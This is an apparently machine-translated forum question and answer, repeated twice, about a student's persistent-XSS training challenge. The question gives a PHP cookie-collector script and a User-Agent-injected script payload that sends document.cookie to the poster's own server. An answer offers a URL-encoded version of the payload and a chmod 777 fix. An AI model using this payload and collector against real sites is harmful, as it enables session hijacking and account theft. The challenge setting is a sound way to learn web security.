变量不会通过 URL 传递给 PHP
Variable won't be passed to PHP through URL
我正在做这个持久的跨站点脚本挑战作业,我们应该通过用户代理注入来窃取 cookie。有关此挑战的更多详细信息,请访问 page (basic 41):
背景:
由于这个挑战是在一个玩具网站上进行的,该网站模拟受害者为我们查看页面。我们需要做的是将代码注入挑战页面服务器,并通过该代码窃取受害者的 cookie,并将这些 cookie 发送到我们自己设置的 Web 服务器。一旦我们成功收集到受害者的 cookie,我们就可以将我们自己的 cookie 设置为这些值以通过挑战。
到目前为止我做了什么:
在 aws ec2
上设置 Web 服务器。
我相信它是 centos,但由于在安装 centos-release 软件包或类似的东西时遇到问题,所以找不到更多的发布信息。我能找到的只有:Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2
。入站规则设置为 ssh
的端口 22 和 http
的端口 80。 httpd、mysql、php 已安装并测试正常。 /var/www/http
下的文件 index.html
在浏览器中正常显示。
将cookie_stealer.php
放在/var/www/http
下
我的代码cookie_stealer.php
:
<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
- 向 Chrome 的用户代理注入代码:
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>
到目前为止,我成功注入了代码,但是 document.cookie
的值不会传递到我的 php 文件中。所以我目前正在关注这个问题。
- 额外信息
我正在通过 url:
测试如何将变量传递给 php
http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
一个有趣的(奇怪的!!)事情是,在我将以下行添加到我的 php 文件的 $_GET['c']
行之后:
echo 'Cookie: ' . $cookie . "\r\n";
c
的值可以在网页上打印为ahhh
,但不会写入log.txt
。 log.txt
只记录这个:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
我的问题是,如果变量c
在服务器上传递给$cookie
,为什么那个三元运算符总是return'There is no variable c'
而网页显示ahhh
。任何人都可以告诉我为什么会这样或者我可以在哪里看?任何提示将不胜感激!
我的第一个想法是:
您可能需要URL包含 cookie 文本。它可能包含一些破坏您的 URL 请求的内容。
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
然后在 PHP 中,您可能需要解码也可能不需要解码,如果需要,您可以这样做:
$cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';
例如,您的讲师在其中放了一个 #
标志或其他东西。我不能肯定地说,因为我从来没有通过查询参数发送过 cookie,但我认为它们不应该以这种方式发送。
无论如何,这对评论来说太多了,希望对您有所帮助!
您可能需要更改写入该日志文件的文件权限。尝试:
chmod -R 777 log.txt
我正在做这个持久的跨站点脚本挑战作业,我们应该通过用户代理注入来窃取 cookie。有关此挑战的更多详细信息,请访问 page (basic 41):
背景:
由于这个挑战是在一个玩具网站上进行的,该网站模拟受害者为我们查看页面。我们需要做的是将代码注入挑战页面服务器,并通过该代码窃取受害者的 cookie,并将这些 cookie 发送到我们自己设置的 Web 服务器。一旦我们成功收集到受害者的 cookie,我们就可以将我们自己的 cookie 设置为这些值以通过挑战。
到目前为止我做了什么:
在
aws ec2
上设置 Web 服务器。 我相信它是 centos,但由于在安装 centos-release 软件包或类似的东西时遇到问题,所以找不到更多的发布信息。我能找到的只有:Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2
。入站规则设置为ssh
的端口 22 和http
的端口 80。 httpd、mysql、php 已安装并测试正常。/var/www/http
下的文件index.html
在浏览器中正常显示。将
下cookie_stealer.php
放在/var/www/http
我的代码
cookie_stealer.php
:
<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
- 向 Chrome 的用户代理注入代码:
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>
到目前为止,我成功注入了代码,但是 document.cookie
的值不会传递到我的 php 文件中。所以我目前正在关注这个问题。
- 额外信息
我正在通过 url:
测试如何将变量传递给 phphttp://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
一个有趣的(奇怪的!!)事情是,在我将以下行添加到我的 php 文件的 $_GET['c']
行之后:
echo 'Cookie: ' . $cookie . "\r\n";
c
的值可以在网页上打印为ahhh
,但不会写入log.txt
。 log.txt
只记录这个:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
我的问题是,如果变量c
在服务器上传递给$cookie
,为什么那个三元运算符总是return'There is no variable c'
而网页显示ahhh
。任何人都可以告诉我为什么会这样或者我可以在哪里看?任何提示将不胜感激!
我的第一个想法是:
您可能需要URL包含 cookie 文本。它可能包含一些破坏您的 URL 请求的内容。
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
然后在 PHP 中,您可能需要解码也可能不需要解码,如果需要,您可以这样做:
$cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';
例如,您的讲师在其中放了一个 #
标志或其他东西。我不能肯定地说,因为我从来没有通过查询参数发送过 cookie,但我认为它们不应该以这种方式发送。
无论如何,这对评论来说太多了,希望对您有所帮助!
您可能需要更改写入该日志文件的文件权限。尝试:
chmod -R 777 log.txt